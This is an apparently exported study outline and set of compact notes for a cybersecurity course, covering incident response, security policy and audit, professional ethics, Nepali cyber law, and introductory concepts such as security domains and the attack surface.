- Real artefact: LAPSUS Telegram post, March 2022, insiders paid for VPN, Citrix, AnyDesk or VDI access; telecoms, software and gaming, call centres, server hosts
Categorising an incident PREDICTED
- Six categories: denial of service, malicious code, unauthorized use, unauthorized access, unplanned downtime, other
- Five activities: target, live or stopped, impact, priority level 1 to 3, restricted or unrestricted communication
- NIST vectors: removable media, attrition, web, email, impersonation, improper usage, loss or theft, other
- Severity factors: functional impact, information impact, recoverability
- Priority: impact against urgency, SLA targets
- Re-rating: Ukraine wiper 2022, ransom note, destroyed MBR
The incident response plan HOT 1/4
- Definition: processes to anticipate, detect, mitigate unexpected events
- Why: not if but when; before and in a crisis; reactive, not preventive
- Equation: break attack playbook, rapid response and recovery, eliminate other vectors
- NIST Rev. 2: four phases, 17 parts, two loops, nine step checklist
- NIST Rev. 3: April 2025, CSF 2.0; Govern, Identify, Protect; Detect, Respond, Recover; Improvement
The eight step IRP framework TOP 3/4
- Steps: preparation, detection, categorisation, containment, investigation, remediation, reporting, lessons learnt
- Mnemonic: Pulis Daai Chiya Chhodera Inaarma Rakshi Rakhera Lukyo
- NIST mapping: 1; 2 and 3; 4, 5 and 6; 7 and 8
- SANS six: preparation, identification, containment, eradication, recovery, lessons learned (PICERL)
- ISO/IEC 27035: plan and prepare, detection and reporting, assessment and decision, responses, lessons learnt
Do not make things worse PREDICTED
- Rules: no engaging the hacker, no connecting to threat networks, preserve evidence, communication via management, confidential
- Mnemonic: Hacker Nepalma Euta Momo Churaayo
- Uber 2022: emojis to the hacker, Slack taken offline
- Equifax 2017: Twitter link to a look-alike site
Preparation and the team PREDICTED
- Course activities: IRP, playbooks, logistics, contacts, support documents
- Playbooks: phishing, ransomware, keylogger, DDoS
- Structure: central, distributed, coordinating
- Staffing: employees, partially outsourced (MSSP), fully outsourced
- Kit: jump kit, war room, out of band channels, diagrams, baselines, clean images
- Practice: tabletop exercises, simulations, prevention
Containment and remediation PREDICTED
- Course containment: coordinate, quick analysis, attack vectors, isolate asset, emergency changes
- Actions: isolate, close ports, firewall filtering, rotate secrets, block egress, DNS blocking, sandbox, report indicators
- NIST criteria: damage, evidence, availability, time and resources, effectiveness, duration
- Course remediation: network, malware, system, user; declared full, partial or accepted
- Eradication: remove components, close hole, reset credentials, sweep hosts; Exchange 2021 web shells
- Recovery: restore, harden, phased return, extra monitoring
The investigation questions PREDICTED
- Getting in: initial vector, access route, exploited vulnerabilities
- Staying in: command and control, persistence method
- Spreading: compromised accounts, privilege, reconnaissance, lateral movement
- Taking: exfiltration, data type, mechanism
- Analyses: network, malware, system, user, research
Evidence and chain of custody PREDICTED
- Chain of custody: who, when, where, how; every transfer signed
- Log fields: identifiers, handlers, date and time zone, storage place
- Order of volatility: registers, memory, temporary files, disk, remote logs, topology, archives (RFC 3227)
- Handling: write blocker, image, SHA-256 hash, copies only, locked store, pairs
- Nepal: Electronic Transactions Act 2008, CIB, NIC Asia
Triage through the SOC tiers PREDICTED
- Triage steps: receive, validate, enrich, scope, categorize and prioritize, act or escalate
- Tier 1: triage analyst, false positives, playbook first steps
- Tier 2: incident responder, scope, contain, root cause
- Tier 3: forensics, malware analysis, hunting, detection rules
- Lab 12: compromised credentials scenario, Rita and Bob, phishing playbook
Escalation PREDICTED
- Directions: functional (skill), hierarchical (authority)
- Triggers: severity, scope, data, people, crime, publicity, time
- No answer (NIST): retry, wait about 15 minutes, go higher
- Outside clocks: GDPR 72 hours, SEC four business days, NRB immediately
- NIC Asia 2017: SWIFT fraud, Tihar holidays, about 4.4 million dollars, most recovered
Post-incident analysis PREDICTED
- Course activities: root cause analysis, controls readiness, trends, mitigation plan, improvement plan
- Meeting: within several days, blameless, NIST questions
- Root cause: five whys, fishbone (people, process, technology)
- Metrics: MTTD, MTTA, MTTC, MTTR, dwell time, false positive rate, cost
- Example: MTTD 6 hours, MTTR 8 hours
The incident report PREDICTED
- Course activities: ongoing reporting, evidence gathering, documentation, incident register, communication
- Sections: executive summary, details, timeline, scope and impact, root cause, actions, evidence and IoCs, recommendations, appendices
- Readers: board, technical teams, legal, regulators, customers, law enforcement, peers and CERTs
- Retention: record retention policy; NIST cites three years
Seven recent attacks PREDICTED
- Attacks: SolarWinds 2020, Exchange 2021, LastPass 2022, Uber 2022, Okta 2022, T-Mobile 2021, Colonial 2021
- Causes: identity four, exposed or unpatched two, vendor one
- Corrections: Colonial VPN password, LastPass keylogger, Okta root cause from 2023, Uber contractor, T-Mobile router not billing systems
- Okta 2023: personal Google account on a managed laptop, saved service account password, HAR files, five customers' sessions hijacked
- Deck preventions: MFA, password policy, patching, audits, supply chain security
The terminated insider case COURSE
- Insider: director of IT, then VP of technology
- Events: access never revoked, passwords unchanged three years, five months reading email, Yahoo! warnings
- Cost: over 100,000 dollars; 32,000 dollars fines, probation
- Factors: no offboarding, static credentials, concentrated privilege, no access review, no monitoring
- Fixes: offboarding, credential reset, password policy, MFA, access reviews, least privilege, monitoring
- Source: CERT Common Sense Guide, practice 14
WannaCry 2017 PREDICTED
- Facts: 12 May 2017, ransomware worm, SMBv1, EternalBlue, MS17-010 (14 March 2017)
- Scale: over 200,000 computers, at least 100 countries
- NHS: at least 80 of 236 trusts, 19,000 appointments estimated, five hospitals diverting
- Stopper: kill switch domain, Marcus Hutchins
- Lessons: patching, firewalls, tested plan, out of band communication, board ownership
Equifax 2017 PREDICTED
- Entry: Apache Struts CVE-2017-5638, dispute portal, stale alert list
- Spread: 48 more databases, about 9,000 queries
- Blind spot: certificate expired about 10 months before the breach
- Timeline: 13 May in, 29 July found, about 76 days, 7 September disclosed
- Factors: identification, detection, segmentation, data governance
- Communication: look-alike site tweeted by Equifax
SolarWinds 2020 PREDICTED
- Attack: SUNBURST in Orion builds, SVR, about 18,000 customers
- Timeline: September 2019 in, March 2020 updates, December 2020 disclosed
- Detection: FireEye, new MFA device alert
- Response: CISA Emergency Directive 21-01
- Lessons: anomaly detection, supply chain, token signing certificates, sharing
Colonial Pipeline 2021 PREDICTED
- Entry: legacy VPN profile, compromised password, no MFA (not phishing)
- Detection: ransom note, 7 May 2021, before 5 a.m.
- Containment: stop work order, 5,500 miles shut, OT protected
- Ransom: about 75 bitcoin paid, 63.7 seized
- Fixes: remove unused accounts, MFA, IT and OT segmentation, offline backups
Uber 2022 PREDICTED
- Entry: contractor password bought, MFA fatigue, push accepted
- Escalation: other accounts, admin password in a script, G-Suite and Slack
- Detection: hacker's Slack announcement, staff thought it a joke
- Response: accounts blocked, tools disabled, keys rotated, codebase locked, FBI informed
- Lessons: number matching MFA, no hard-coded secrets, alerts on MFA bursts
Chapter 7: Security policy and audit
Breaches as policy failures PREDICTED
- Equifax 2017: Apache Struts CVE-2017-5638, stale alert list, missed scan, expired certificate, about 147 million people
- WannaCry 2017: MS17-010 patch ignored, 81 NHS trusts, old Windows
- Marriott: Starwood web shell 2014, found 2018, 339 million records, ICO fine
- SolarWinds 2020: Orion update backdoor, about 18,000 customers, supply chain
- Four questions: which control, required, enforced, verified
- Costs (notes): legal and financial risk, major breaches, insider threats
Security policy framework PREDICTED
- SPF: policies, standards, baselines, guidelines, procedures
- Purposes: intent, structure, productive environment, responsibility, legal protection, consistency, faster response, audit yardstick
- Paradox: least expensive control, hardest to implement
- Nepal: NRB 2012, board-approved IT and security policy, yearly review
Governance PREDICTED
- Four elements: people, process, technology, governance
- Committee: approval, compliance monitoring, structure, yardstick
- Roles: board, steering committee, CISO, data owner, custodian, users, internal audit
- Models: IIA three lines, COBIT evaluate, direct, monitor
Policy hierarchy PREDICTED
- Layers: policy, standard, baseline, guideline, procedure
- Mandatory: policy, standard, baseline, procedure
- Recommended: guideline only
- Laptop example: protect data; AES-256; CIS Level 1; passphrase; BitLocker steps
- Mnemonic: Police Sipahi Bhaagyo, Gaai Pachhyaayo
- Levels (notes): policy strategic; standard, guideline, procedure tactical
Effective, enforceable policy PREDICTED
- Shaping rules: lawful, stands up in court, supported, aids business, involves users
- Enforceability: developed, distributed, read, understood, agreed, uniformly enforced
- Textbook five: dissemination, review, comprehension, compliance, uniform enforcement
- Lifecycle: draft, approve, publish, train, enforce, review yearly
NIST SP 800-14 policy types COURSE
- EISP: program policy, strategic, whole organisation, CEO-signed
- ISSP: issue-specific, tactical, email, BYOD, password, VPN, limits liability
- SysSP: system-specific, operational, one system
- SysSP parts: management guidance, technical specifications
- Specifications: ACLs, configuration rules, firewall rule set, snort.conf
- Deck example: Open Idea University to Boom! Technologies, same rules, wrong context
Everyday SPF documents PREDICTED
- Deck's six: AUP, access control, remote access, data breach response, DRP, BCP
- Also: password, BYOD, data classification
- AUP sections: scope, acceptable use, prohibited use, monitoring, responsibilities, enforcement, acknowledgement
- Password policy: length, breached lists, MFA, hashing, lockout, privileged accounts
- Guidance: NIST SP 800-63B
- Mnemonic: Ajay Aaja Rakshi Dherai Dhokera Bahulaayo
IRP, DRP and BCP PREDICTED
- IRP: security incident, contain, eradicate, recover
- DRP: restore IT, technical part of BCP
- BCP: critical business functions, whole business
- Terms: BIA, RTO, RPO, hot, warm, cold sites
- Tests: checklist, tabletop, simulation, parallel, full interruption
Audit as assurance PREDICTED
- Assurance engagement: management, independent auditor, intended users
- Reasonable assurance: sampling, not absolute
- Types: financial, internal, statutory, IS
- Subject areas: data centre, networks, platforms, databases, applications, business processes
- Nepal: NRB yearly IS audit, follow-up stays with bank
Six-phase IT audit TOP 2/4
- Phases: planning, fieldwork and documentation, issue discovery and validation, solution development, report drafting and issuance, issue tracking
- Action plans: recommendation, management response, solution
- Follow-up: owner, due date, escalate, validate, close
- Example: former staff accounts, leaver report, recertification
- Mnemonic: Pappu Farted In School, Rani Inhaled
Compliance and internal controls PREDICTED
- Auditor chain: purpose, risk, control, finding
- Control kinds: preventive, detective, corrective; administrative, technical, physical
- IT controls: ITGC, application controls, design, operating effectiveness
- COSO: environment, risk assessment, activities, information, monitoring
- Floor: minimum, snapshot, sample, Target 2013
- Lab tools: CIS-CAT, OpenSCAP, Lynis, Nessus compliance checks
Controls against an insider TOP 2/4
- Policy: classification, least privilege, NDA, conflict declaration, separation of duties, rotation, offboarding
- Audit: access recertification, transfer audit, log review, audit trails
- Monitoring: DLP, UEBA, SIEM correlation, CASB, watermarks, decoy files
- Watch: leaver window, lawful announced monitoring
Regulation, standard, framework PREDICTED
- Regulation: law, mandatory, fines; GDPR, HIPAA, ETA 2008
- Standard: certifiable; ISO/IEC 27001, PCI DSS
- Framework: adaptable; NIST CSF, CIS Controls, COBIT
- Blurs: PCI DSS by contract, SOC 2 attestation, one control many regimes
GDPR, HIPAA and SOC 2 PREDICTED
- GDPR: EU 2016/679, 2018, 7 principles, 72 hours, 4% or 20 million euros
- HIPAA: US 1996, PHI, Privacy, Security, Breach Notification Rules, HHS OCR
- SOC 2: AICPA, five criteria, Type I design, Type II operation
- Nepal: Individual Privacy Act 2018, consent, purpose
ISO 27001, NIST CSF, others PREDICTED
- ISO/IEC 27001: ISMS, clauses 4 to 10, 93 Annex A controls, SoA, PDCA, certifiable
- NIST CSF 2.0: govern, identify, protect, detect, respond, recover
- CSF tools: tiers, current and target profiles
- Others: PCI DSS 4.0, CIS Controls v8, COBIT, ITIL
Three ways to assess PREDICTED
- Audit: do controls exist, checklists, broad
- Vulnerability assessment: VA, known weaknesses, automated, no exploitation; with penetration test, VAPT
- Penetration test: can attackers get in, manual, exploits
- Other forms: configuration review, SAST, DAST, red team, bug bounty
Assessment lifecycle and authorisation PREDICTED
- Loop: scope and plan, discover, analyse, report, remediate, verify
- Rules of engagement: scope, techniques, windows, data handling, contacts, signatures
- Law: written authorisation, ETA 2008
- Reference: NIST SP 800-115
Vulnerability scanning PREDICTED
- Steps: discovery, fingerprinting, CVE matching, safe checks, report
- Scan types: credentialed, uncredentialed, agent, network, web, cloud
- Tools: Nessus, OpenVAS, Qualys, Nexpose
- Errors: false positives, false negatives
- Cadence: weekly, monthly, after change, quarterly PCI ASV
Penetration testing PREDICTED
- Box types: black, grey, white
- Phases: reconnaissance, scanning and enumeration, gaining access, maintaining access, covering tracks, analysis and reporting
- Methods: PTES, OWASP WSTG, NIST SP 800-115, OSSTMM
- Targets: networks, web, wireless, social engineering, physical, cloud
- Mnemonic: Ramesh Sasurali Gayo, Momo Chorera Aayo
Findings report PREDICTED
- Sections: executive summary, scope and methodology, findings and evidence, risk rating, recommendations, conclusion and appendices
- One finding: title, severity, asset, evidence, impact, fix, references
- Qualities: timely, accurate, actionable, consistent, confidential
CVSS and priority PREDICTED
- Bands: critical 9.0, high 7.0, medium 4.0, low 0.1
- Base metrics: attack vector, complexity, privileges, user interaction, scope, CIA impact
- Context: exposure, asset value, KEV, EPSS, compensating controls
- Rule: medium on crown jewel beats high on test box, risk-based remediation
Remediation and re-test PREDICTED
- Treatments: remediate, mitigate, accept, transfer, avoid
- Tracking: owner, due date, track, escalate, re-test, close
- Acceptance: written, risk owner, expiry, compensating controls
- Metrics: mean time to remediate, overdue criticals, repeat findings
Chapter 8: The ethics of cyber security
Ethical considerations HOT 1/4
- Considerations: privacy, authorisation and consent, confidentiality, honesty, avoiding harm, fairness, accountability, responsible disclosure, social responsibility
- Law versus ethics: government rules with sanctions; accepted conduct without formal sanction
- Deck terms: honesty, integrity, fairness, responsibility; universal ethics; cultural mores
- Three tests: legal, ethical, allowed by code and policy
- Dilemmas: monitoring staff, hacking back, paying ransom, stockpiling zero-days, encryption back doors
- Lenses: consequences, duties, rights, fairness, virtue
Ethics across cultures PREDICTED
- Data privacy: EU fundamental right, GDPR; US sector laws, HIPAA, COPPA
- Monitoring: US accepted and legal; Germany suspect, Stasi memory, works council
- Piracy: Sweden, Germany unacceptable; Indonesia, Nigeria tolerated
- Whistleblowing: UK, US protected; Japan group harmony (wa)
- Gifts: West cautious; China, Japan goodwill
- Cases and leveller: Meta EUR 1.2 billion 2023, H&M EUR 35.3 million 2020, Olympus 2011; education
Cyber crime and cyber terrorism PREDICTED
- Computer roles: target, tool, incidental
- Cyber terrorism: ideological motive, fear or coercion, violence or serious harm (Denning 2000)
- Spectrum: cyber crime, hacktivism, cyber terrorism, cyber warfare
- Examples: NIC Asia SWIFT 2017, CyberCaliphate 2015, Stuxnet 2010, Ukraine grid 2015, Colonial Pipeline 2021, GIDC DDoS 2023
- Treaties: Budapest Convention 2001 (Nepal not a party), UN Convention December 2024
Types of law PREDICTED
- Six types: constitutional, civil, criminal, administrative, statutory, international
- Civil branches: contract, family, tort, property (real, personal)
- Civil law: plaintiff, preponderance of evidence (over 50%), compensation
- Criminal law: state, beyond reasonable doubt, prison or fine
- Cyber cases: CFAA prosecutions; Equifax USD 700 million; Facebook USD 5 billion; Oracle v. Google 2021
- Concurrent proceedings: one incident, criminal and civil cases
Elements of a crime PREDICTED
- Crime: act or omission against society
- Actus reus: guilty act, voluntary; automatism; words as acts (threats, perjury, conspiracy, solicitation)
- Mens rea: guilty mind, intent; act and intent concur
- Strict liability: alcohol to a minor, over-speeding, no licence, drink driving
- ETA intent words: knowingly, mala fide intention (44), intention (45, 46)
- Case: Linwei Ding, Google, 2024 to 2026; theft proved, espionage set aside
Legal frameworks and key laws PREDICTED
- Practitioner duty: legal environment, stay current, watch new issues
- Legal systems: civil, common, religious; Nepal mixed (Article 128(4) precedents)
- US laws: CFAA 1986, ECPA 1986, DMCA 1998, PATRIOT 2001, FISMA 2002, SOX 2002, GLBA 1999, HIPAA 1996, HITECH 2009
- UK laws: CDPA 1988, Computer Misuse Act 1990, Human Rights Act 1998, RIPA 2000, Data Protection Act 2018
- EU laws: GDPR 2016/679, NIS 2016, NIS2 2022/2555, DORA 2022/2554, Cyber Resilience Act 2024/2847
- Standards and others: PCI DSS, HITRUST, ISO/IEC 27001; export controls (BIS, Wassenaar); Prestel hack
Budapest Convention and MLA PREDICTED
- Convention: Council of Europe (46 states, not the EU), Budapest 23 November 2001, in force 1 July 2004, 81 parties (2025), 130+ aligned, T-CY, Nepal not a party
- Three parts: criminalise conduct, procedural tools, international cooperation
- Nine offences: access, interception, data, system, misuse of devices, forgery, fraud, child pornography, copyright
- Deck view: task force, effective investigations, simpler evidence and extradition; weak enforcement; only binding instrument (regional treaties aside)
- MLA steps: preserve, request, check, execute, return; 24/7 network
- Example: AlphaBay and Hansa, July 2017, over 350,000 illicit commodities; Nepal MLA Act 2070; UN Convention, Hanoi 2025
Policy against law PREDICTED
- Policy: organisational law; ignorance a defence
- Law: ignorance no excuse; Civil Code 2074 section 5
- Five conditions: distributed, readily available, understood, acknowledged, uniformly enforced
- Textbook names: dissemination, review, comprehension, compliance, uniform enforcement
- Key: Dashain Ramailo, Uncle Aafai Udaayo
Codes of ethics PREDICTED
- Ten Commandments: Computer Ethics Institute 1992; harm, interfere, snoop, steal, false witness, pirate, resources, plagiarise, consequences, respect
- Key: Hari Itaharibata Saathi Sanga Fewa Pugera Rakshi Piyo, Chhitai Ruyo
- ISC2 canons: protect society; act honorably, honestly, justly, responsibly, legally; serve principals; advance profession
- ISC2 rules: canons in order, sworn complaint, certification revoked
- Others: ACM 2018, ISACA, GIAC (SANS), EC-Council (CEH); lost certification as deterrent
Intellectual property TOP 2/4
- Copyright: expression, automatic; US life + 70, Nepal life + 50
- Trademark: avoid marketplace confusion; US 10 years, Nepal 7, renewable
- Patent criteria: new, useful, not obvious; US 20 years, Nepal 7 renewable twice
- Trade secret: secrecy, no registration, indefinite; Coca-Cola formula, momo shop achar
- Laws: Copyright Act 2059, Patent Design Trademark Act 2022, Economic Espionage Act 1996
- Licences: contractual, shrink-wrap, click-through, cloud services
Privacy and data protection PREDICTED
- Terms: personal data, sensitive data, data subject, controller, processor
- OECD 1980: collection limitation, data quality, purpose specification, use limitation, security safeguards, openness, individual participation, accountability
- Privacy by design: Cavoukian, seven principles
- Techniques: minimisation, anonymisation, pseudonymisation, encryption, retention limits
- PIA steps: screen, describe, consult, assess, rate risks, mitigate, sign off, review
GDPR and Nepal's Privacy Act PREDICTED
- GDPR principles: lawfulness, purpose limitation, minimisation, accuracy, storage limitation, integrity and confidentiality, accountability
- GDPR rights: informed, access, rectification, erasure, restriction, portability, objection, automated decisions
- GDPR duties: by design, DPIA, DPO, 72 hours, EUR 20 million or 4%
- US laws: Privacy Act 1974, ECPA, HIPAA, COPPA, GLBA
- Privacy Act 2075: consent, purpose, sensitive data (section 27), correction (section 28), CCTV, drones; Regulation 2077
- Enforcement: 3 years or Rs 30,000; District Court within three months; no GDPR level act
Ethical hacking PREDICTED
- Hacker types: white, grey, black hat; script kiddie, hacktivist, state-sponsored
- Teams: red, blue, purple
- Before testing: written authorisation, scope, rules of engagement, NDA
- Steps: pre-engagement, reconnaissance, scanning, gaining access, post-exploitation, reporting, clean-up and retest
- Models: CEH five phases; NIST SP 800-115 planning, discovery, attack, reporting
- Legal risk: ETA section 45, CFAA; no good-faith exception in Nepal
Responsible disclosure TOP 2/4
- Models: full disclosure, non-disclosure, responsible (coordinated)
- Steps: verify, contact, report privately, acknowledge, fix and CVE, patch, publish with credit
- Deadlines: Project Zero 90+30, 7 days in the wild; CERT/CC 45 days
- Standards: ISO/IEC 29147, ISO/IEC 30111, security.txt (RFC 9116)
- Duties: no data kept, no extortion; vendor policy, fix, credit, no legal threats
Professional ethics PREDICTED
- Three standards: professionalism, ethics, morality
- Four pulls: code of conduct, society and public safety, state and legislation, personal values
- Duties to: society, principals, profession, colleagues and self
- Principles: integrity, confidentiality, competence, objectivity, least privilege, lawfulness, accountability
- Cases and laws: Uber 2016; Penal Code section 294, Privacy Act section 18, ETA section 48
Deterrence PREDICTED
- Cost-benefit: Mb + Pb above Ocp + Ocm x Pa x Pc (Kshetri 2006)
- Model: 10:80:10; opportunists deterred
- Causes and remedies: ignorance (education), accident (controls), intent (litigation, prosecution, technical controls)
- Conditions: fear of penalty, probability of being caught, penalty administered
- Mapping: fear to Ocm, caught to Pa, administered to Pc
Organisational liability PREDICTED
- Liability: legal obligation; organisation pays for employees' acts
- Due care: everyone knows acceptable conduct and consequences
- Due diligence: valid, ongoing effort to protect others
- Legally defensible: crime committed, suspect committed it, reasonable efforts
- Nepal: ETA section 57, corporate body, reasonable efforts defence
- Cases: Equifax 2017, Morrisons 2020
Social responsibility PREDICTED
- Scope: society, lives, public services, rights
- Deck points: external community (suppliers, researchers, open source), third parties hurt most, protect lives
- Practices: critical services, threat sharing, awareness, vulnerable users, secure products, responsible disclosure, refuse harmful work, respect rights, speak up
- Harm examples: WannaCry NHS 2017, Ukraine grid 2015, GIDC DDoS 2023, xz Utils 2024
- Rights balance: social media directive 2080, TikTok ban 2023 to 2024, 2025 platform block
Whistleblowing TOP 2/4
- Whistleblower: insider, own organisation's wrongdoing, public interest, grey area
- Channels: internal, external authority, public last
- Compared with: leaker, malicious insider
- Nepal: RTI Act 2064 section 29, public bodies only, National Information Commission
- Elsewhere: Whistleblower Protection Act 1989, Sarbanes-Oxley 2002, Dodd-Frank 2010, EU Directive 2019/1937
- Cases: car maker patch, Haugen 2021, Snowden 2013; Japan wa
Cyber law in Nepal HOT 1/4
- Constitution 2072: Articles 28 privacy, 27 information, 17 expression, 19 communication
- Laws by area: ETA, Privacy Act 2075, Broadcasting 2049, Press 2048, Copyright 2059, Patent 2022, Telecommunications 2053, Penal Code 2074
- ETA 2063 (2008): Act 27 of 2063; areas: transactions, computer crime, privacy, digital signatures
- Offences: 44 to 46 three years or Rs 2 lakh; 47 five years or Rs 1 lakh; 48 to 50 and 52 two years or Rs 1 lakh
- Other sections: 53 abetment, 54 accomplice, 55 abroad, 56 confiscation, 57 companies, 74 ninety days; key Chor Aayo
- NRB IT Guidelines: strategy, ISO, annual audit, ATM, data security, RBAC, outsourcing, BCP
Gaps in Nepal's cyber law PREDICTED
- Method: list issues, map laws, mark coverage, benchmark, recommend
- Gaps: outdated offences, vague section 47, low fines, no tribunal, no evidence powers
- More gaps: weak data protection, no security duty law, not in Budapest, no safe harbour
- Reform: IT and Cyber Security Bill 2082, not enacted; ETA still governs
- Fixes: cyber crime Act, narrow speech offences, data protection authority, infrastructure law, evidence powers, whistleblower Act
8 chapters · 164 topics · about 82700 words
Compact chapters
Each chapter with every definition, step, formula and example kept and the teaching prose taken out. The copy button on a chapter copies all of it, formulas as LaTeX, ready to paste into Claude as context before you ask about it.
Chapter 1: Cyber security concepts and principles 13870 words
What cybersecurity is, why it matters, and its domains
Cybersecurity: the practice of protecting computers, networks, devices, data and systems from unauthorised or malicious access, attack or damage, so that the confidentiality, integrity and availability of information and services are preserved in the digital world.
- Security (Whitman and Mattord, used by the deck): the quality or state of being secure, free from danger; protected from loss, damage, unwanted modification and other hazards.
- Information security protects information in every form, paper included; ISO/IEC 27000 defines it as the preservation of the confidentiality, integrity and availability of information. Cybersecurity is the part protecting the digital world.
- The deck's introduction in four points: scope (many domains and aspects: network, application and information security, operational security, disaster recovery, end-user education); threats (malware, phishing, ransomware, denial of service, APTs); who needs it (individuals and organizations of all sizes and sectors, since attacks seriously harm privacy, reputation, assets and operations); a moving target (a dynamic, evolving field needing constant vigilance, awareness and adaptation to the latest trends and technologies).
- Never one control: the deck's strategies used together are a multilayered system (defence in depth), data abstraction, data hiding and encryption; management plans, organises, staffs, directs and controls each.
Malice, mistakes and mischance
Security measures safeguard against intentional harm, unintentional errors and unforeseen incidents: against theft, fraud, disruption and destruction.
- Malice (deliberate attack): the deck's example, a system protecting sensitive data from malicious hackers trying to gain unauthorised access, steal information or disrupt operations; ransomware on a hospital. Controls: access control, monitoring, encryption.
- Mistakes (honest errors by authorised people): access controls and verification procedures stop authorised users accidentally deleting or modifying critical data (dropping the wrong table, a misaddressed email). Controls: least privilege, verification steps, change control.
- Mischance (unforeseen incidents): a robust backup and recovery system limits data lost to system failures, natural disasters or hardware malfunctions (disk failure, power cut, an earthquake like Gorkha 2015). Controls: backups, redundancy, a DR site.
- To remember it: one eSewa wallet: a fake KYC update SMS that tricks out the PIN (malice), Rs 5,000 sent to a mistyped number (mistake), the phone sinking in the Trishuli on a rafting trip (mischance); fixes: alertness and MFA, a confirmation screen, account recovery.
Why an organization should care
- Impacts (deck): reputational damage, financial loss, loss of customers, drop in stock price and profits, lost sales; sensitive customer information, intellectual property and the control of key machinery increasingly at risk.
- The deck's survey chart, share of organizations reporting each area hit by a breach:
| Area hit | Share | Area hit | Share |
|---|---|---|---|
| Operations | 36% | Business partner relationships | 22% |
| Finances | 30% | Supplier relationships | 20% |
| Brand reputation | 26% | Legal engagements | 20% |
| Customer retention | 26% | Regulatory scrutiny | 19% |
| Intellectual property | 24% | Had no security breach in the past year | 10% |
- Management looks away (deck): most managements still think information security a relatively unimportant issue, not worthy of considerable top management attention, and do not appreciate how doing a good job in the information security realm brings tangible benefits (increased sales, competitive advantage). Its question: if being able to double the level of sales is not important to top management, what is? Its meme: the budget counted coin by coin before a data breach, thrown in the air after one.
- "Cyber security is a CEO issue" (McKinsey, quoted): USD 3.5 million average cost of a data breach per incident; 63 percent of breaches involve weak or stolen passwords; over 300,000 new malware samples created and spread daily; 266 to 365 days on average to detect and contain a breach; 87 percent of senior managers admit accidentally leaking business data. These are mid 2010s figures; IBM's Cost of a Data Breach report put the global average at about USD 4.9 million in 2024.
- Warren Buffett: "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you will do things differently."
- Attacks are prolific because the attack surface keeps increasing: all the vulnerabilities or weaknesses in the security controls an attacker could exploit, plus the attack vectors used to gain unauthorised access to confidential data; security gaps in IoT and smart devices, mobile devices, home networks, data centres, the supply chain.
| Part of the attack surface (deck graphic) | Example |
|---|---|
| Cloud environments | servers and storage rented from a cloud provider |
| Unsanctioned cloud assets | a file share a team opened without IT |
| Internet-facing assets | website, mail server, VPN gateway |
| Externally facing on-premises assets | an office server reachable from outside |
| Internet assets owned by the organization | domain names, IP ranges, certificates |
| IoT and mobile devices | CCTV cameras, smart TVs, staff phones |
| Supply chain assets | a vendor's update channel, a contractor's remote access |
| M&A IT infrastructure | the network of a company just acquired |
- Shadow IT (services set up without the security team) is a classic unmanaged addition.
Figure: the deck's shadow IT cartoon (page 20), built with love, forgotten with time: "I just need a quick service", three months later a critical service failure, then the breach report.
Domains
| Domain | What it protects | Example controls |
|---|---|---|
| Network security | networks and traffic | firewall, IDS/IPS, VPN, segmentation |
| Application security | software from design to operation | secure coding, code review, WAF |
| Information (data) security | data at rest, in transit, in use | encryption, classification, DLP |
| Identity and access management | who can reach what | MFA, single sign-on, least privilege |
| Cloud security | cloud workloads and data | secure configuration, shared responsibility |
| Operational security and security operations | daily handling of data and access; monitoring and response | access reviews, SOC with SIEM, incident response |
| Disaster recovery and business continuity | keeping running and recovering | backups, DR site, BCP |
| Governance, risk and compliance | direction, risk decisions, law | policy, risk assessment, audit, ISO/IEC 27001 |
| End-user education | the people layer | awareness and phishing training |
| Physical security | buildings, rooms, hardware | locks, guards, CCTV |
The deck's domain map (Henry Jiang's Map of Cybersecurity Domains), nine branches and every leaf:
| Branch | What sits under it |
|---|---|
| Security architecture | network design; data protection; secure application development; secure system build and baseline configuration; cryptography; security engineering; access control; identity management (IAM, privileged access management); cloud security (CASB, the cloud access security broker; federated identity) |
| Framework and standard | NIST, ISO/IEC, COBIT, SANS/CSC (critical security controls, now the CIS Controls) |
| Physical security | a branch of its own |
| Risk assessment | assets inventory; vulnerability scan; third and fourth party risk; penetration test (red team, blue team; social engineering, applications, infrastructure); source code scan (black box, white box); data-centric risk assessment with a data-flow map |
| Governance | laws and regulations (industry specific, federal, state); executive management involvement; risk informed decisions; reports and scorecards (KPIs, KRIs); audit; compliance and enforcement; written supervisory procedures (WSPs): policy, standard, procedure, guideline |
| Threat intelligence | external, internal, contextual; IOCs; intelligence sharing |
| User education | training (new skills); awareness (reinforcement) |
| Career development | certification, conferences, training, peer groups, self study |
| Security operation | prevention, protection, detection; SOC, SIEM; vulnerability management; data leakage; active defence; incident response (breach notification, containment, eradication, investigation, forensics); recovery (BCP, DR) |
- Certification roadmaps (CompTIA's IT roadmap; Paul Jerimy's Security Certification Roadmap, 473 certifications, January 2023): career guides; the second sorts the field into the eight CISSP domains: security and risk management, asset security, security architecture and engineering, communication and network security, identity and access management, security assessment and testing, security operations, software development security.
Specialised areas of security (Whitman and Mattord)
- Physical: protect people, physical assets and the workplace from fire, unauthorised access and natural disasters: biometrics, a fence, CCTV, a fire extinguisher.
- Personnel (the deck writes personal): protect the people within the organization: evacuation plan, floor wardens.
- Operations: keep the business running without interruption or compromise: BCP, DRP.
- Communications: protect communications media, technology and content, and the ability to use them for objectives: encryption.
- Network: protect networking devices, connections and contents, and the ability to communicate data: firewall, IDS/IPS, DMZ.
- Information security (InfoSec): spans them all.
Cyber attack as global economic, political and technical warfare
The claim (deck): cyber attack has become a global economic, political and technical warfare: attackers include organised criminals, rival companies and nation states; targets include banks, elections, power grids and supply chains; tools evolve faster than defences.
- The deck's case ("Cybersecurity, why?"): the cyber attack has transformed into global economic, political and technical warfare; attackers continuously evolve and develop sophisticated TTPs; the most advanced attack can compromise a whole network in a few hours (Ryuk ransomware, two hours after the initial access); massive ransomware attacks, big-game hunting (gangs choosing large organizations that can pay large ransoms), widespread data breaches and critical vulnerabilities are daily headlines; the future of cyber attack might turn with machine learning based approaches (faster, more automated, harder to detect).
- How it got here: the history card (tools grew cleverer while attackers needed less knowledge) and the supply chain card (one compromised supplier reaches thousands); since about 2000 attackers are organised businesses and state units.
- Actors (deck, actors posing risk to business): cyber criminals (fraud, ransomware, selling data); industrial competitors and foreign states (economic advantage); APTs (state backed, military and national intelligence); hacktivists (political or ideological); hackers (the challenge); insiders (accident or deliberate misuse).
| Face | What it looks like | Examples |
|---|---|---|
